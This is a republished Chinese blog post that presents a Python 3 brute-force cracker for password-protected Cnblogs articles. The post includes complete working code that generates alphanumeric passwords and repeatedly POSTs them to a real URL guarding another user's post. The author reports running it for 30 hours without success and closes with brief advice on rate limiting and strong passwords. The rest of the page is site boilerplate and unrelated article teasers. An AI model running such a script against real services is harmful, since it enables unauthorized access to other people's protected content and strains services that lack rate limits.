一個最簡單的博客園文章密碼暴力破解器-python3實現

来源:http://www.cnblogs.com/gayhub/archive/2016/06/15/5586099.html
-Advertisement-
Play Games

我之前想寫路由器的密碼暴力破解器,我手上只有極路由,發現極路由有安全限制,只能允許連續10次密碼錯誤,所以我改拿博客園練手。 博客園的博客有個功能是給博文設置一個密碼,輸入正確的密碼才能看到文章的內容。經過測試發現這個密碼驗證功能,既沒有驗證碼也沒有提交頻率的限制, 要寫這個針對博客園的密碼暴力破解 ...


我之前想寫路由器的密碼暴力破解器,我手上只有極路由,發現極路由有安全限制,只能允許連續10次密碼錯誤,所以我改拿博客園練手。
博客園的博客有個功能是給博文設置一個密碼,輸入正確的密碼才能看到文章的內容。經過測試發現這個密碼驗證功能,既沒有驗證碼也沒有提交頻率的限制,
要寫這個針對博客園的密碼暴力破解器模型會非常簡單,很好實現。

比如打開這個博文,會顯示一個密碼輸入框:http://www.cnblogs.com/post/readauth?url=/muer/archive/2011/11/27/factualism.html

我之前沒有寫過這樣的程式,也沒有看過別人寫這類功能的代碼,就按我自己所理解的想法來寫一個最簡單的密碼破解器,不要多線程,不要分散式,
這個程式會有這麼兩個部分:

1、我需要一個生成器,可以不停的生成所有可能的密碼組合,比如生成a,b,c,aa,bb,cc,ab,ac...abc,cba...abcd...等等所有的密碼組合。
2、我需要不停的提交密碼,直到認為密碼正確,記錄密碼,退出程式。

-_-!為什麼使用生成器?
python2中range() 不是一個生成器,當你range(N),N為一個很大的數時...python就會爆炸!!!哈哈哈..

寫細緻的博客太消耗時間和心力,我這裡不寫具體的分析過程了,後面直接上代碼,如果看不懂,查相關關鍵詞就可以,畢竟基礎教程性的文章和內容非常之多。

tqdm是一個python進度條庫,requests是一個簡單優雅的http庫,
product是python3的標準庫itertools下的函數,可以用生成 (a,b,c...) (c,b,a...)這樣的序列,用''.join連接起來就得到了"abc"這樣的一個密碼。

代碼如下:

"""
python3暴力窮舉密碼
2016年6月09日 04:39:25  codegay
"""
from time import strftime
from itertools import product
from time import sleep
from tqdm import tqdm
import requests
from requests import post


#密碼生成器
def psgen(x=4):
    iter = ['1234567890',
            'abcdefghijklmnopqrstuvwxyz',
            'ABCDEFGHIJKLMNOPQRSTUVWXYZ',

            ]
    for r in iter:
        for repeat in range(1,x+1):
            for ps in product(r,repeat=repeat):
                yield ''.join(ps)


def fx(url):
#把URL中的readauth字元刪掉,替換成"http://www.cnblogs.com/muer/archive/2011/11/27/factualism.html"這樣的格式,因為這個才POST的目標地址。
    url = url.replace("/post/readauth?url=", "")
    for ps in tqdm(psgen(6)):
        try:
            rs=post(url,data={'tb_password':ps},allow_redirects=1)
            if rs.url == url:  #如果提交密碼後,返回的url得到為"http://www.cnblogs.com/muer/archive/2011/11/27/factualism.html"這樣的形式,那麼認為猜到正確的密碼了。
                with open("resut.csv","a+") as f:
                    f.write('密碼破解成功結果為:,'+ ps + ',' + strftime("%c") + ',' + url+'\n')
                break
        except:
            sleep(1)
            pass

url='http://www.cnblogs.com/post/readauth?url=/muer/archive/2011/11/27/factualism.html'
fx(url)

最後,這個程式運行速度大約是每秒提交6次密碼,我運行了30個小時,也不過是迭代幾十萬次,並沒有能把密碼破解出來,沒有產生實質性的危害。

總結:
1、密碼驗證的地方適當增加一些防止暴力破解的手段。
2、仍然有必要使用複雜的密碼提高安全度。雖然這樣的一個簡單的程式並沒有什麼卵用


您的分享是我們最大的動力!

-Advertisement-
Play Games
更多相關文章
  • WCF Data Service with OData 是一個優秀的Restful Web Service在ASP.NET下的實現,但是在使用中,我遇到了一個問題,即當我單獨部署WDS服務的時候,Ajax訪問就需要跨域。 在一般的WCF服務中,我們可以用JSONP解決。所以我發起了下麵這個請求: 你 ...
  • 在uwp開發中必不可少的一個環節就是各種通用的控制項的開發,所以在閑暇時間彙總了一下在uwp開發中控制項的幾種常用寫法,以及屬性的幾種綁定方式,有可能不全面,請大家多多包涵 :) 1、先從win10新增的{x:Bind}綁定方式說起,相對於{Binding},{x:Bind}在時間複雜度和空間複雜度上都 ...
  • Java程式設計語言提供兩種機制,可以用來定義允許多個實現的類型:介面和抽象方法,這兩者直接醉為明顯的區別在於,抽象類允許某些方法的實現,但介面不允許,一個更為重要的區別在於,為了實現由抽象類定義的類型,類必須成為抽象類的一個子類。任何一個類,只要定義了所有必要的方法,並且遵守通用約定,它就被允許實 ...
  • #coding= gbk s = '谷歌' print s 輸出結果:谷歌 方法二: 在輸出時進行轉碼: #coding= utf-8 s = '谷歌' print unicode(s,'gbk') 輸出結果:谷歌 ...
  • 1、++i 的用法(以 a=++i ,i=2 為例) 先將 i 值加 1 (也就是 i=i+1 ),然後賦給變數 a (也就是 a=i ), 則最終 a 值等於 3 , i 值等於 3 。 所以 a=++i 相當於 i=i+1 ,a=i2、i++ 的用法(以 a=i++ ,i=2 為例) 先將 i ...
  • 10種排序演算法總結 排序演算法有很多,所以在特定情景中使用哪一種演算法很重要。為了選擇合適的演算法,可以按照建議的順序考慮以下標準: (1)執行時間 (2)存儲空間 (3)編程工作 對於數據量較小的情形,(1)(2)差別不大,主要考慮(3);而對於數據量大的,(1)為首要。 主要排序法有: 一、冒泡(Bu ...
  • 一、標識符和關鍵字 關鍵字: 就是被java語言賦予了特殊含義的單詞。 特點就是所有的關鍵字都是小寫。 標識符: 就是給包、類、介面、方法、變數名起的名字。 規則:1.以數字、字母、_以及$符號組成。 2,不能以數字開頭,不能以空格分開,不能是JAVA中的關鍵字,區別大小寫如Test 和test是2 ...
  • list是一種有序的集合,可以隨時添加和刪除其中的元素。 >>> classmates = ['Michael', 'Bob', 'Tracy'] >>> classmates ['Michael', 'Bob', 'Tracy'] 獲取 >>> classmates[2] 'Tracy' 當索引超 ...
一周排行
    -Advertisement-
    Play Games
  • 移動開發(一):使用.NET MAUI開發第一個安卓APP 對於工作多年的C#程式員來說,近來想嘗試開發一款安卓APP,考慮了很久最終選擇使用.NET MAUI這個微軟官方的框架來嘗試體驗開發安卓APP,畢竟是使用Visual Studio開發工具,使用起來也比較的順手,結合微軟官方的教程進行了安卓 ...
  • 前言 QuestPDF 是一個開源 .NET 庫,用於生成 PDF 文檔。使用了C# Fluent API方式可簡化開發、減少錯誤並提高工作效率。利用它可以輕鬆生成 PDF 報告、發票、導出文件等。 項目介紹 QuestPDF 是一個革命性的開源 .NET 庫,它徹底改變了我們生成 PDF 文檔的方 ...
  • 項目地址 項目後端地址: https://github.com/ZyPLJ/ZYTteeHole 項目前端頁面地址: ZyPLJ/TreeHoleVue (github.com) https://github.com/ZyPLJ/TreeHoleVue 目前項目測試訪問地址: http://tree ...
  • 話不多說,直接開乾 一.下載 1.官方鏈接下載: https://www.microsoft.com/zh-cn/sql-server/sql-server-downloads 2.在下載目錄中找到下麵這個小的安裝包 SQL2022-SSEI-Dev.exe,運行開始下載SQL server; 二. ...
  • 前言 隨著物聯網(IoT)技術的迅猛發展,MQTT(消息隊列遙測傳輸)協議憑藉其輕量級和高效性,已成為眾多物聯網應用的首選通信標準。 MQTTnet 作為一個高性能的 .NET 開源庫,為 .NET 平臺上的 MQTT 客戶端與伺服器開發提供了強大的支持。 本文將全面介紹 MQTTnet 的核心功能 ...
  • Serilog支持多種接收器用於日誌存儲,增強器用於添加屬性,LogContext管理動態屬性,支持多種輸出格式包括純文本、JSON及ExpressionTemplate。還提供了自定義格式化選項,適用於不同需求。 ...
  • 目錄簡介獲取 HTML 文檔解析 HTML 文檔測試參考文章 簡介 動態內容網站使用 JavaScript 腳本動態檢索和渲染數據,爬取信息時需要模擬瀏覽器行為,否則獲取到的源碼基本是空的。 本文使用的爬取步驟如下: 使用 Selenium 獲取渲染後的 HTML 文檔 使用 HtmlAgility ...
  • 1.前言 什麼是熱更新 游戲或者軟體更新時,無需重新下載客戶端進行安裝,而是在應用程式啟動的情況下,在內部進行資源或者代碼更新 Unity目前常用熱更新解決方案 HybridCLR,Xlua,ILRuntime等 Unity目前常用資源管理解決方案 AssetBundles,Addressable, ...
  • 本文章主要是在C# ASP.NET Core Web API框架實現向手機發送驗證碼簡訊功能。這裡我選擇是一個互億無線簡訊驗證碼平臺,其實像阿裡雲,騰訊雲上面也可以。 首先我們先去 互億無線 https://www.ihuyi.com/api/sms.html 去註冊一個賬號 註冊完成賬號後,它會送 ...
  • 通過以下方式可以高效,並保證數據同步的可靠性 1.API設計 使用RESTful設計,確保API端點明確,並使用適當的HTTP方法(如POST用於創建,PUT用於更新)。 設計清晰的請求和響應模型,以確保客戶端能夠理解預期格式。 2.數據驗證 在伺服器端進行嚴格的數據驗證,確保接收到的數據符合預期格 ...